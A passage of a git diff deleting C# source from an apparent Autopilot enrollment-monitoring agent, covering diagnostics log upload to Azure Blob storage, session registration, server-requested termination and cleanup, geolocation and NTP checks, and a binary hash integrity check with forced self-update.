Directory.GetFiles(sourceFolder, searchPattern, searchOption); - foreach (var file in files) - { - try - { - // Preserve subfolder structure in the ZIP when includeSubfolders is enabled - var relativePath = file.Substring(sourceFolder.Length).TrimStart(Path.DirectorySeparatorChar); - var entryName = $"{zipFolder}/{relativePath.Replace(Path.DirectorySeparatorChar, '/')}"; - - // Read with FileShare.ReadWrite to avoid locking conflicts with active log writers - byte[] content; - using (var fs = new FileStream(file, FileMode.Open, FileAccess.Read, FileShare.ReadWrite)) - using (var reader = new MemoryStream()) - { - fs.CopyTo(reader); - content = reader.ToArray(); - } - - var entry = archive.CreateEntry(entryName, CompressionLevel.Optimal); - using var entryStream = entry.Open(); - entryStream.Write(content, 0, content.Length); - - _logger.Debug($"Added to diagnostics package: {entryName} ({content.Length / 1024} KB)"); - } - catch (Exception ex) - { - _logger.Warning($"Failed to add log file to diagnostics package: {file} - {ex.Message}"); - } - } - } - catch (Exception ex) - { - _logger.Warning($"Failed to enumerate log files in {sourceFolder}: {ex.Message}"); - } - } - - /// - /// Resolves the final blob PUT URL based on the destination advertised by the - /// backend. Pure helper, internal-static so the V1 test suite can pin both - /// branches without exercising any HTTP transport: - /// - /// Hosted (or any case-insensitive match): the SAS is already - /// blob-scoped at {tenantId}/{filename} and must be used as-is. - /// Appending the local filename would produce a double-name URL. - /// CustomerSas / null / unknown (legacy backend without the - /// field): the SAS is container-scoped; insert the blob filename - /// before the query string. Preserves prior behaviour. - /// - /// - internal static string BuildBlobUploadUrl(string sasUrl, string blobFileName, string destination) - { - if (!string.IsNullOrEmpty(destination) - && string.Equals(destination, "Hosted", StringComparison.OrdinalIgnoreCase)) - { - return sasUrl; - } - - // CustomerSas or null/unknown — container-scoped SAS, insert blob name. - var questionMarkIndex = sasUrl.IndexOf('?'); - if (questionMarkIndex >= 0) - { - var basePath = sasUrl.Substring(0, questionMarkIndex).TrimEnd('/'); - var queryString = sasUrl.Substring(questionMarkIndex); - return $"{basePath}/{blobFileName}{queryString}"; - } - return $"{sasUrl.TrimEnd('/')}/{blobFileName}"; - } - - /// - /// Uploads the ZIP bytes to Azure Blob Storage via PUT to the pre-built - /// . The URL is destination-aware (built by - /// ) and ready to PUT without further mutation. - /// is kept for log lines only. - /// Returns (success, errorCode) — errorCode is null on success, otherwise the last HTTP error. - /// - private async Task<(bool success, string errorCode)> UploadToBlobStorageAsync(string blobName, byte[] data, string blobUploadUrl) - { - var blobUrl = blobUploadUrl; - - const int maxRetries = 3; - string lastErrorCode = null; - for (int attempt = 1; attempt <= maxRetries; attempt++) - { - try - { - _logger.Info($"Uploading diagnostics package (attempt {attempt}/{maxRetries}, {data.Length / 1024} KB)..."); - - using var content = new ByteArrayContent(data); - content.Headers.Add("x-ms-blob-type", "BlockBlob"); - content.Headers.ContentType = new System.Net.Http.Headers.MediaTypeHeaderValue("application/zip"); - - var response = await _httpClient.PutAsync(blobUrl, content); - - if (response.IsSuccessStatusCode) - { - return (true, null); - } - - var statusCode = (int)response.StatusCode; - lastErrorCode = $"HTTP {statusCode} {response.ReasonPhrase}"; - var responseBody = await response.Content.ReadAsStringAsync(); - - // Auth errors (401/403) are permanent — SAS token invalid or expired, retrying won't help - if (statusCode == 401 || statusCode == 403) - { - _logger.Warning($"Blob upload auth error (not retryable): {lastErrorCode} - {responseBody}"); - return (false, lastErrorCode); - } - - _logger.Warning($"Blob upload attempt {attempt} failed: {lastErrorCode} - {responseBody}"); - } - catch (Exception ex) - { - lastErrorCode = ex.Message; - _logger.Warning($"Blob upload attempt {attempt} failed: {ex.Message}"); - } - - if (attempt < maxRetries) - { - var delay = TimeSpan.FromSeconds(Math.Pow(2, attempt)); // 2s, 4s, 8s - _logger.Info($"Retrying blob upload in {delay.TotalSeconds}s..."); - await Task.Delay(delay); - } - } - - _logger.Warning($"Diagnostics package upload failed after {maxRetries} attempts"); - return (false, lastErrorCode); - } - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Runtime/MonitoringService.cs b/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Runtime/MonitoringService.cs deleted file mode 100644 index 69854fdc..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Runtime/MonitoringService.cs +++ /dev/null @@ -1,1287 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Diagnostics; -using System.IO; -using System.Security.Cryptography; -using System.Threading; -using System.Threading.Tasks; -using AutopilotMonitor.Agent.Core.Configuration; -using AutopilotMonitor.Agent.Core.Logging; -using AutopilotMonitor.Agent.Core.Monitoring.Telemetry.DeviceInfo; -using AutopilotMonitor.Agent.Core.Monitoring.Transport; -using AutopilotMonitor.Shared; -using AutopilotMonitor.Shared.Models; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Flows; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Completion; - -namespace AutopilotMonitor.Agent.Core.Monitoring.Runtime -{ - /// - /// Thin coordinator for the Autopilot Monitor Agent. Delegates to: - /// — upload, retry, auth-failure circuit breaker. - /// — collector lifecycle, idle detection, analyzers. - /// — terminal event shutdown sequences. - /// - public class MonitoringService : IDisposable - { - private readonly AgentConfiguration _configuration; - private readonly AgentLogger _logger; - private readonly string _agentVersion; - private readonly EventSpool _spool; - private readonly BackendApiClient _apiClient; - private readonly ManualResetEventSlim _completionEvent = new(false); - private long _eventSequence; // Initialized from persistence + spool ceiling in constructor - private readonly SessionPersistence _sessionPersistence; - - // Composed orchestrators (extracted from partial classes) - private EventUploadOrchestrator _uploadOrchestrator; - private CollectorCoordinator _collectorCoordinator; - private EnrollmentCompletionHandler _completionHandler; - private EnrollmentPhase? _lastPhase = null; - - - // Remote config - private RemoteConfigService _remoteConfigService; - - // Cleanup/self-destruct - private readonly CleanupService _cleanupService; - - // Diagnostics package upload - private readonly DiagnosticsPackageService _diagnosticsService; - - private readonly DateTime _agentStartTimeUtc = DateTime.UtcNow; - private bool _enrollmentTerminalEventSeen; - private bool _isWhiteGlovePart2; - - // Admin override detected during session registration (agent restart after admin action) - private string _pendingAdminAction; - - // Previous exit classification (crash detection) - private readonly string _previousExitType; // "clean" | "exception_crash" | "hard_kill" | "reboot_kill" | "first_run" - private readonly string _previousCrashException; // exception type name (only for exception_crash) - private readonly DateTime? _lastBootTimeUtc; // boot time from Event Log (only for reboot_kill) - private long _persistedSequenceAtStartup; // for detecting spool ceiling recovery - - private EmergencyReporter _emergencyReporter; - private DistressReporter _distressReporter; - - // UnrestrictedMode audit: tracks whether the first config apply has happened - private bool _isFirstConfigApply = true; - private int? _deferredSecurityAuditConfigVersion; // deferred until after agent_started - - // Runtime self-update trigger (hash mismatch recovery) - // Set by the agent host (Program.cs) to inject the SelfUpdater implementation since - // .Core cannot reference the .Agent exe project. Once-per-process guard via Interlocked. - private static int _integrityUpdateAttempted; // 0 = not yet, 1 = attempted - /// - /// Callback invoked by the runtime hash-mismatch path to trigger a forced self-update. - /// Host wires this to SelfUpdater.CheckAndApplyUpdateAsync(..., forceUpdate: true, - /// triggerReason: "runtime_hash_mismatch", downloadTimeoutMsOverride: 60_000). - /// Receives the backend-provided ZIP SHA-256 hash so the updater can use it as the - /// trusted-channel integrity source. - /// - /// - /// Host-provided runtime self-update trigger. Parameters: (backend ZIP hash, allowDowngrade). - /// The hash seeds 's trusted-channel verification; the flag decides - /// whether a strictly older version advertised by the backend may replace the running binary. - /// - public Func RuntimeSelfUpdateTriggerAsync { get; set; } - - public MonitoringService(AgentConfiguration configuration, AgentLogger logger, string agentVersion, - string previousExitType = "first_run", string previousCrashException = null, - DateTime? lastBootTimeUtc = null) - { - _configuration = configuration ?? throw new ArgumentNullException(nameof(configuration)); - _logger = logger ?? throw new ArgumentNullException(nameof(logger)); - _agentVersion = string.IsNullOrWhiteSpace(agentVersion) ? "unknown" : agentVersion; - _previousExitType = previousExitType ?? "first_run"; - _previousCrashException = previousCrashException; - _lastBootTimeUtc = lastBootTimeUtc; - - var missingFields = new List(); - if (string.IsNullOrEmpty(_configuration.ApiBaseUrl)) missingFields.Add(nameof(_configuration.ApiBaseUrl)); - if (string.IsNullOrEmpty(_configuration.SessionId)) missingFields.Add(nameof(_configuration.SessionId)); - if (string.IsNullOrEmpty(_configuration.TenantId)) missingFields.Add(nameof(_configuration.TenantId)); - if (missingFields.Count > 0) - { - throw new InvalidOperationException( - "Invalid agent configuration: missing " + string.Join(", ", missingFields)); - } - - _spool = new EventSpool(_configuration.SpoolDirectory); - - // DistressReporter is created BEFORE BackendApiClient so it's available even if cert loading fails. - // It uses its own plain HttpClient (no cert, no mTLS) for the pre-auth distress endpoint. - var hwInfo = Security.HardwareInfo.GetHardwareInfo(_logger); - _distressReporter = new DistressReporter( - _configuration.ApiBaseUrl, _configuration.TenantId, - hwInfo.Manufacturer, hwInfo.Model, hwInfo.SerialNumber, - _agentVersion, _logger); - - _apiClient = new BackendApiClient(_configuration.ApiBaseUrl, _configuration, _logger, _agentVersion); - _emergencyReporter = new EmergencyReporter(_apiClient, _configuration.SessionId, _configuration.TenantId, agentVersion, _logger); - - // Detect cert-missing at construction time and send distress signal - if (_configuration.UseClientCertAuth && _apiClient.ClientCertificate == null) - { - _ = _distressReporter.TrySendAsync( - DistressErrorType.AuthCertificateMissing, - "MDM certificate not found in LocalMachine or CurrentUser store"); - } - _cleanupService = new CleanupService(_configuration, _logger); - _diagnosticsService = new DiagnosticsPackageService(_configuration, _logger, _apiClient); - - // Initialize sequence from persistence, with spool-ceiling crash recovery - var dataDirectory = Environment.ExpandEnvironmentVariables(Constants.AgentDataDirectory); - _sessionPersistence = new SessionPersistence(dataDirectory); - _eventSequence = _sessionPersistence.LoadSequence(); - _persistedSequenceAtStartup = _eventSequence; - var spoolMax = _spool.GetMaxSequence(); - if (spoolMax > _eventSequence) - { - _logger.Info($"Spool ceiling ({spoolMax}) > persisted sequence ({_eventSequence}), advancing"); - _eventSequence = spoolMax; - } - _logger.Info($"Event sequence initialized at {_eventSequence}"); - - // Create upload orchestrator (timers start when Start() is called) - _uploadOrchestrator = new EventUploadOrchestrator( - _configuration, _logger, _spool, _apiClient, - _emergencyReporter, _distressReporter, _cleanupService, - EmitEvent, EmitShutdownEvent, - () => _enrollmentTerminalEventSeen); - - // Create enrollment completion handler - _completionHandler = new EnrollmentCompletionHandler( - _configuration, _logger, _agentVersion, - EmitEvent, EmitShutdownEvent, - () => _uploadOrchestrator.UploadEventsAsync(), - () => _uploadOrchestrator.StopTimers(), - _cleanupService, _diagnosticsService, _sessionPersistence, _spool); - - // Subscribe to spool events for batched upload - _spool.EventsAvailable += _uploadOrchestrator.OnEventsAvailable; - - // Wire server-action dispatcher. Handlers delegate to existing services: - // rotate_config → RemoteConfigService.FetchConfigAsync() - // request_diagnostics → DiagnosticsPackageService.CreateAndUploadAsync(best-effort) - // terminate_session → HandleTerminateSessionAsync (optional grace period + upload + exit) - var dispatcher = new ServerActionDispatcher( - _configuration, - _logger, - rotateConfigAsync: async () => - { - try - { - var cfg = await _remoteConfigService.FetchConfigAsync(); - return cfg != null; - } - catch (Exception ex) - { - _logger.Warning($"rotate_config fetch failed: {ex.Message}"); - return false; - } - }, - uploadDiagnosticsAsync: async (suffix) => - { - try - { - return await _diagnosticsService.CreateAndUploadAsync(enrollmentSucceeded: false, fileNameSuffix: suffix); - } - catch (Exception ex) - { - _logger.Warning($"request_diagnostics upload failed: {ex.Message}"); - return new DiagnosticsUploadResult { ErrorCode = "exception: " + ex.Message }; - } - }, - onTerminateRequested: HandleTerminateSessionAsync, - emitEvent: EmitEvent); - - _uploadOrchestrator.SetServerActionDispatcher(dispatcher); - - _logger.Info("MonitoringService initialized"); - } - - /// - /// Unified shutdown handler for ALL server-initiated terminations: KO-rule terminate_session, - /// legacy DeviceKillSignal (synthesized), and legacy AdminAction (synthesized). - /// - /// Self-destruct policy: the agent always respects . - /// In production that's true, so every terminal path removes the scheduled task + agent files. - /// Debug/dev builds may flip it off; a forceSelfDestruct param in the action overrides - /// the local setting for security-driven kills (CVE response, rogue-device containment). - /// - /// Parameters honored from : - /// gracePeriodSeconds — 0-300, default 30. Time to keep collecting before shutdown. - /// uploadDiagnostics — "true"/"false". Best-effort diagnostics upload pre-shutdown. - /// adminOutcome — "Succeeded"/"Failed". Emits a synthetic enrollment_* event - /// instead of the generic agent_shutdown event (preserves the - /// session timeline's terminal-event semantics). - /// forceSelfDestruct — "true". Overrides local config to force self-destruct (kill). - /// origin — free-form tag carried through for observability. - /// - /// Idempotent: repeated deliveries of the same termination intent are no-ops after the first. - /// - private async Task HandleTerminateSessionAsync(ServerAction action) - { - if (_enrollmentTerminalEventSeen) - { - string originTag = "-"; - if (action.Params != null && action.Params.TryGetValue("origin", out var o) && !string.IsNullOrEmpty(o)) - originTag = o; - _logger.Info($"terminate_session (origin={originTag}) received but session already terminal — skipping"); - return; - } - - _enrollmentTerminalEventSeen = true; - - // --- Parse params --- - var graceSeconds = 30; - var wantDiagnostics = false; - var forceSelfDestruct = false; - string adminOutcome = null; - string origin = "server_action"; - - if (action.Params != null) - { - if (action.Params.TryGetValue("gracePeriodSeconds", out var graceStr) - && int.TryParse(graceStr, out var parsedGrace) - && parsedGrace >= 0 && parsedGrace <= 300) - { - graceSeconds = parsedGrace; - } - if (action.Params.TryGetValue("uploadDiagnostics", out var diagStr)) - wantDiagnostics = string.Equals(diagStr, "true", StringComparison.OrdinalIgnoreCase); - if (action.Params.TryGetValue("forceSelfDestruct", out var forceStr)) - forceSelfDestruct = string.Equals(forceStr, "true", StringComparison.OrdinalIgnoreCase); - if (action.Params.TryGetValue("adminOutcome", out var outcomeStr)) - adminOutcome = outcomeStr; - if (action.Params.TryGetValue("origin", out var originStr) && !string.IsNullOrEmpty(originStr)) - origin = originStr; - } - - _logger.Warning($"=== SERVER-REQUESTED TERMINATION origin={origin} reason='{action.Reason}' rule={action.RuleId ?? "-"} grace={graceSeconds}s upload={wantDiagnostics} force={forceSelfDestruct} outcome={adminOutcome ?? "-"} ==="); - - // --- Grace period: keep collectors running so late events get flushed --- - if (graceSeconds > 0) - await Task.Delay(TimeSpan.FromSeconds(graceSeconds)).ConfigureAwait(false); - - _uploadOrchestrator.StopTimers(); - - // --- Best-effort diagnostics upload (only if requested AND tenant has SAS configured) --- - if (wantDiagnostics) - { - try - { - await _diagnosticsService.CreateAndUploadAsync(enrollmentSucceeded: adminOutcome == "Succeeded", fileNameSuffix: "terminated-by-server"); - } - catch (Exception ex) - { - _logger.Warning($"terminate_session: diagnostics upload failed — {ex.Message}"); - } - } - - // --- Emit the terminal event appropriate for the origin --- - if (!string.IsNullOrEmpty(adminOutcome)) - { - // Admin portal outcome: preserve the session timeline's terminal-event semantics - // by emitting enrollment_complete / enrollment_failed instead of a generic shutdown. - var succeeded = string.Equals(adminOutcome, "Succeeded", StringComparison.OrdinalIgnoreCase); - EmitEvent(new EnrollmentEvent - { - SessionId = _configuration.SessionId, - TenantId = _configuration.TenantId, - EventType = succeeded ? "enrollment_complete" : "enrollment_failed", - Severity = succeeded ? EventSeverity.Info : EventSeverity.Warning, - Source = "AdminOverride", - Phase = EnrollmentPhase.Complete, - Message = $"Session {adminOutcome.ToLower()} by administrator — cleanup initiated", - Timestamp = DateTime.UtcNow, - Data = new Dictionary - { - { "adminAction", adminOutcome }, - { "origin", origin } - } - }); - } - else - { - EmitShutdownEvent( - "server_terminated", - $"Agent terminated by server action (rule={action.RuleId ?? "-"}): {action.Reason}", - new Dictionary - { - { "actionType", action.Type }, - { "ruleId", action.RuleId ?? string.Empty }, - { "gracePeriodSeconds", graceSeconds }, - { "uploadDiagnostics", wantDiagnostics }, - { "origin", origin }, - { "forceSelfDestruct", forceSelfDestruct } - }); - } - - // --- Final flush of the spool --- - try - { - await _uploadOrchestrator.UploadEventsAsync(); - } - catch (Exception ex) - { - _logger.Warning($"terminate_session: final flush failed — {ex.Message}"); - } - - // --- Self-destruct policy: config rules, forceSelfDestruct overrides --- - // No zombies in Prod: SelfDestructOnComplete defaults to true, so every terminal path - // removes the scheduled task + agent files. Dev builds that flip it to false still get - // process exit; a security-driven kill overrides even that. - if (forceSelfDestruct) - { - _logger.Warning("forceSelfDestruct=true — overriding local SelfDestructOnComplete setting"); - _configuration.SelfDestructOnComplete = true; - } - - if (_configuration.SelfDestructOnComplete) - { - try - { - _cleanupService.ExecuteSelfDestruct(); - } - catch (Exception ex) - { - _logger.Error("ExecuteSelfDestruct threw — falling through to process exit", ex); - } - } - else - { - _logger.Warning("SelfDestructOnComplete=false — agent is being kept alive for debugging (not recommended in production)"); - } - - _completionEvent.Set(); - } - - /// - /// Starts the monitoring service - /// - public void Start() - { - _logger.Info("Starting monitoring service"); - - // Fetch remote config (collector toggles + gather rules) from backend - FetchRemoteConfig(); - - // Create collector coordinator (needs RemoteConfigService from FetchRemoteConfig) - _collectorCoordinator = new CollectorCoordinator( - _configuration, _logger, _agentVersion, - EmitEvent, EmitTraceEvent, - _apiClient, _spool, _remoteConfigService, - () => _enrollmentTerminalEventSeen, - _previousExitType, _lastBootTimeUtc, _agentStartTimeUtc); - - // Register session with backend — must succeed before collectors start - var registrationSucceeded = RegisterSessionAsync().GetAwaiter().GetResult(); - - if (!registrationSucceeded) - { - _logger.Error("=== SESSION REGISTRATION FAILED — collectors will NOT start to prevent orphaned events ==="); - return; - } - - // Check if admin already terminated this session before we restarted - if (!string.IsNullOrEmpty(_pendingAdminAction)) - { - var succeeded = string.Equals(_pendingAdminAction, "Succeeded", StringComparison.OrdinalIgnoreCase); - _logger.Warning($"=== ADMIN OVERRIDE on startup: Session already marked as {_pendingAdminAction} by administrator — running cleanup only ==="); - - // Start spool watcher briefly so the terminal event gets spooled for upload - _spool.StartWatching(); - - EmitEvent(new EnrollmentEvent - { - SessionId = _configuration.SessionId, - TenantId = _configuration.TenantId, - EventType = succeeded ? "enrollment_complete" : "enrollment_failed", - Severity = succeeded ? EventSeverity.Info : EventSeverity.Warning, - Source = "AdminOverride", - Phase = EnrollmentPhase.Complete, - Message = $"Session {_pendingAdminAction.ToLower()} by administrator (detected on restart) — cleanup initiated", - Timestamp = DateTime.UtcNow, - Data = new Dictionary - { - { "adminAction", _pendingAdminAction } - } - }); - // EmitEvent triggers HandleEnrollmentComplete which handles cleanup + exit - return; - } - - // Start FileSystemWatcher for efficient event detection - _spool.StartWatching(); - _uploadOrchestrator.Start(); - _logger.Info("FileSystemWatcher started for efficient event upload"); - - // Emit agent_started event with startup context so the portal shows how the agent was launched - var spoolCeilingTriggered = _eventSequence > _persistedSequenceAtStartup; - var startupData = new Dictionary - { - { "agentVersion", _agentVersion }, - { "commandLineArgs", _configuration.CommandLineArgs ?? "(none)" }, - { "isBootstrapSession", _configuration.UseBootstrapTokenAuth }, - { "awaitEnrollment", _configuration.AwaitEnrollment }, - { "selfDestructOnComplete", _configuration.SelfDestructOnComplete }, - { "certAuth", _configuration.UseClientCertAuth }, - { "agentMaxLifetimeMinutes", _configuration.AgentMaxLifetimeMinutes }, - { "diagnosticsUploadMode", _configuration.DiagnosticsUploadMode ?? "Off" }, - { "previousExitType", _previousExitType }, - { "unsentSpoolEvents", _spool.GetCount() }, - { "spoolCeilingRecovery", spoolCeilingTriggered } - }; - if (_previousCrashException != null) - startupData["previousCrashException"] = _previousCrashException; - - EmitEvent(new EnrollmentEvent - { - SessionId = _configuration.SessionId, - TenantId = _configuration.TenantId, - EventType = "agent_started", - Severity = EventSeverity.Info, - Source = "Agent", - Phase = EnrollmentPhase.Start, - Message = "Autopilot Monitor Agent started", - Data = startupData, - ImmediateUpload = true - }); - - // If previous exit was caused by a system reboot, emit a timeline event for visibility - if (_previousExitType == "reboot_kill" && _lastBootTimeUtc.HasValue) - { - var timeSinceBoot = DateTime.UtcNow - _lastBootTimeUtc.Value; - var bootDisplay = timeSinceBoot.TotalSeconds < 120 - ? $"{(int)timeSinceBoot.TotalSeconds}s" - : $"{(int)timeSinceBoot.TotalMinutes}min"; - - EmitEvent(new EnrollmentEvent - { - SessionId = _configuration.SessionId, - TenantId = _configuration.TenantId, - EventType = "system_reboot_detected", - Severity = EventSeverity.Info, - Source = "Agent", - // Phase intentionally left as Unknown — see EnrollmentEvent.Phase docs. - // Only phase-transition events set Phase; this is an informational event. - Message = $"System rebooted {bootDisplay} ago (boot: {_lastBootTimeUtc.Value:HH:mm:ss} UTC) — previous agent terminated by reboot", - Data = new Dictionary - { - { "bootTimeUtc", _lastBootTimeUtc.Value.ToString("O") }, - { "secondsSinceBoot", (int)timeSinceBoot.TotalSeconds }, - { "previousExitType", "reboot_kill" } - }, - ImmediateUpload = true - }); - } - - // Consume self-update markers (updated / skipped / checked) left by SelfUpdater on the - // previous startup and emit a single agent_version_check event. Dedup suppresses - // repeated up_to_date events for the same latestVersion within the same session. - EmitVersionCheckEventFromMarkers(); - - // Emit deferred security_audit (initial UnrestrictedMode) now that agent_started has its sequence - if (_deferredSecurityAuditConfigVersion.HasValue) - { - EmitEvent(new EnrollmentEvent - { - SessionId = _configuration.SessionId, - TenantId = _configuration.TenantId, - EventType = "security_audit", - Severity = EventSeverity.Info, - Source = "MonitoringService", - Message = "UnrestrictedMode enabled (initial config)", - Data = new Dictionary - { - ["unrestrictedMode"] = true, - ["source"] = "initial_config", - ["configVersion"] = _deferredSecurityAuditConfigVersion.Value - }, - ImmediateUpload = true - }); - _deferredSecurityAuditConfigVersion = null; - } - - // WhiteGlove Part 2 detection: if the previous boot completed pre-provisioning, - // emit a whiteglove_resumed event so the backend transitions Pending → InProgress. - if (_sessionPersistence.IsWhiteGloveResume()) - { - _isWhiteGlovePart2 = true; - _logger.Info("WhiteGlove Part 2 detected — emitting whiteglove_resumed event"); - EmitEvent(new EnrollmentEvent - { - SessionId = _configuration.SessionId, - TenantId = _configuration.TenantId, - EventType = "whiteglove_resumed", - Severity = EventSeverity.Info, - Source = "Agent", - Phase = EnrollmentPhase.Start, - Message = "WhiteGlove Part 2 — user enrollment started after pre-provisioning", - ImmediateUpload = true - }); - _sessionPersistence.ClearWhiteGloveComplete(); - _sessionPersistence.ResetSessionCreatedAt(); - } - - // Collect and emit device geo-location asynchronously — HTTP call, not on critical path - if (_configuration.EnableGeoLocation) - { - Task.Run(EmitGeoLocationEvent); - } - - // NTP time check — diagnostic, not critical path - Task.Run(EmitNtpTimeCheckEvent); - - // Start event collectors (HelloCollector + optional based on remote config) - _collectorCoordinator.StartEventCollectors(); - - // Start optional collectors based on remote config (PerformanceCollector) - _collectorCoordinator.StartOptionalCollectors(); - - // Start gather rule executor - _collectorCoordinator.StartGatherRuleExecutor(); - - // Initialize and run startup analyzers (security/configuration checks) - _collectorCoordinator.InitializeAnalyzers(); - _collectorCoordinator.RunStartupAnalyzers(); - - _logger.Info("Monitoring service started"); - } - - private void EmitGeoLocationEvent() - { - try - { - var attempt = GeoLocationService.GetLocationAsync(_logger).Result; - if (attempt.Location != null) - { - EmitEvent(new EnrollmentEvent - { - SessionId = _configuration.SessionId, - TenantId = _configuration.TenantId, - EventType = "device_location", - Severity = EventSeverity.Info, - Source = "Network", - Phase = EnrollmentPhase.Unknown, - Message = $"Device location: {attempt.Location.City}, {attempt.Location.Region}, {attempt.Location.Country} (via {attempt.Location.Source})", - Data = attempt.Location.ToDictionary(), - ImmediateUpload = true - }); - } - else - { - // All providers failed — send trace event with error details for analysis - EmitEvent(new EnrollmentEvent - { - SessionId = _configuration.SessionId, - TenantId = _configuration.TenantId, - EventType = "agent_trace", - Severity = EventSeverity.Warning, - Source = "Network", - Phase = EnrollmentPhase.Unknown, - Message = "Geo-location lookup failed: all providers unreachable", - Data = new Dictionary - { - { "decision", "geo_location_failed" }, - { "reason", "All geo-location providers failed after retry" }, - { "primaryError", attempt.PrimaryError ?? "unknown" }, - { "primaryRetryError", attempt.PrimaryRetryError ?? "unknown" }, - { "fallbackError", attempt.FallbackError ?? "unknown" }, - { "primaryProvider", "ipinfo.io" }, - { "fallbackProvider", "ifconfig.co" } - } - }); - } - - // Auto-set timezone if enabled and IANA timezone available from geolocation - if (_configuration.EnableTimezoneAutoSet && !string.IsNullOrEmpty(attempt.Location?.Timezone)) - { - try - { - var tzResult = TimezoneService.TrySetTimezone(attempt.Location.Timezone, _logger); - EmitEvent(new EnrollmentEvent - { - SessionId = _configuration.SessionId, - TenantId = _configuration.TenantId, - EventType = "timezone_auto_set", - Severity = tzResult.Success ? EventSeverity.Info : EventSeverity.Warning, - Source = "Network", - Phase = EnrollmentPhase.Unknown, - Message = tzResult.Success - ? $"Timezone set to {tzResult.WindowsTimezoneId} (from {tzResult.IanaTimezone})" - : $"Timezone auto-set failed: {tzResult.Error}", - Data = new Dictionary - { - { "ianaTimezone", tzResult.IanaTimezone ?? "" }, - { "windowsTimezoneId", tzResult.WindowsTimezoneId ?? "unknown" }, - { "previousTimezone", tzResult.PreviousTimezone ?? "unknown" }, - { "success", tzResult.Success }, - { "error", tzResult.Error ?? "" } - } - }); - } - catch (Exception tzEx) - { - _logger.Warning($"Timezone auto-set failed: {tzEx.Message}"); - } - } - } - catch (Exception ex) - { - _logger.Warning($"Failed to collect geo-location: {ex.Message}"); - } - } - - private void EmitNtpTimeCheckEvent() - { - try - { - var ntpServer = string.IsNullOrEmpty(_configuration.NtpServer) ? "time.windows.com" : _configuration.NtpServer; - var result = NtpTimeCheckService.CheckTime(ntpServer, _logger); - - if (result.Success) - { - var severity = Math.Abs(result.OffsetSeconds) > 60 - ? EventSeverity.Warning - : EventSeverity.Info; - - EmitEvent(new EnrollmentEvent - { - SessionId = _configuration.SessionId, - TenantId = _configuration.TenantId, - EventType = "ntp_time_check", - Severity = severity, - Source = "Network", - Phase = EnrollmentPhase.Unknown, - Message = $"NTP time check: offset {result.OffsetSeconds:F2}s from {ntpServer}", - Data = new Dictionary - { - { "ntpServer", ntpServer }, - { "offsetSeconds", result.OffsetSeconds }, - { "ntpTimeUtc", result.NtpTime?.ToString("o") ?? "" }, - { "localTimeUtc", result.LocalTime?.ToString("o") ?? "" } - } - }); - } - else - { - EmitEvent(new EnrollmentEvent - { - SessionId = _configuration.SessionId, - TenantId = _configuration.TenantId, - EventType = "ntp_time_check", - Severity = EventSeverity.Warning, - Source = "Network", - Phase = EnrollmentPhase.Unknown, - Message = $"NTP time check failed: {result.Error}", - Data = new Dictionary - { - { "ntpServer", ntpServer }, - { "error", result.Error ?? "unknown" } - } - }); - } - } - catch (Exception ex) - { - _logger.Warning($"NTP time check failed: {ex.Message}"); - } - } - - - /// - /// Fetches remote configuration from the backend API - /// - private void FetchRemoteConfig() - { - try - { - _remoteConfigService = new RemoteConfigService(_apiClient, _configuration.TenantId, _logger, _emergencyReporter, _distressReporter); - _remoteConfigService.FetchConfigAsync().Wait(TimeSpan.FromSeconds(15)); - ApplyRuntimeSettingsFromRemoteConfig(); - VerifyAgentBinaryIntegrity(); - } - catch (Exception ex) - { - _logger.Warning($"Failed to fetch remote config (using defaults): {ex.Message}"); - } - } - - /// - /// Post-config integrity check: verifies that the running agent binary matches - /// the SHA-256 hash provided by the backend (LatestAgentExeSha256). - /// Closes the trust gap where the self-update at startup only had the version.json hash - /// (same blob storage origin as the ZIP — single point of compromise). - /// - private void VerifyAgentBinaryIntegrity() - { - try - { - var expectedHash = _remoteConfigService?.CurrentConfig?.LatestAgentExeSha256; - if (string.IsNullOrWhiteSpace(expectedHash)) - { - _logger.Debug("Post-config integrity check: no backend EXE hash available — skipping"); - return; - } - - var exePath = Process.GetCurrentProcess().MainModule?.FileName; - if (string.IsNullOrEmpty(exePath) || !File.Exists(exePath)) - { - _logger.Warning("Post-config integrity check: could not determine agent exe path"); - return; - } - - string actualHash; - using (var sha256 = SHA256.Create()) - using (var stream = File.OpenRead(exePath)) - { - var hashBytes = sha256.ComputeHash(stream); - actualHash = BitConverter.ToString(hashBytes).Replace("-", "").ToLowerInvariant(); - } - - if (string.Equals(actualHash, expectedHash.ToLowerInvariant(), StringComparison.Ordinal)) - { - _logger.Info($"Post-config integrity check: SHA-256 verified OK ({actualHash.Substring(0, 12)}...)"); - } - else - { - _logger.Error($"Post-config integrity check: SHA-256 MISMATCH — expected={expectedHash.Substring(0, 12)}..., actual={actualHash.Substring(0, 12)}..."); - - _ = _emergencyReporter?.TrySendAsync( - AgentErrorType.IntegrityCheckFailed, - $"Binary hash mismatch: expected={expectedHash.Substring(0, 12)}..., actual={actualHash.Substring(0, 12)}..."); - - // Trigger a forced self-update on hash mismatch (once per process). - // Runs as fire-and-forget on a background task so monitoring keeps running — - // on success, SelfUpdater calls Environment.Exit via RestartAgent; - // on failure we log and continue with the stale binary until next restart. - TriggerSelfUpdateOnMismatch(); - } - } - catch (Exception ex) - { - _logger.Warning($"Post-config integrity check failed: {ex.Message}"); - } - } - - /// - /// Invokes the host-provided delegate on a - /// background task. Guarded by _integrityUpdateAttempted so we only try once - /// per agent process (prevents download loops if the update repeatedly fails). - /// - private void TriggerSelfUpdateOnMismatch() - { - if (Interlocked.Exchange(ref _integrityUpdateAttempted, 1) == 1) - { - _logger.Info("Self-update: already attempted in this process — skipping"); - return; - } - - if (RuntimeSelfUpdateTriggerAsync == null) - { - _logger.Warning("Self-update: no RuntimeSelfUpdateTriggerAsync wired by host — cannot recover from hash mismatch"); - return; - } - - // Hand the ZIP hash from the current config to the updater as trusted-channel source. - // Null is acceptable — SelfUpdater falls back to the version.json hash. - var zipHash = _remoteConfigService?.CurrentConfig?.LatestAgentSha256; - // Forward-only gate: admin must opt-in per tenant for a downgrade to apply. - var allowDowngrade = 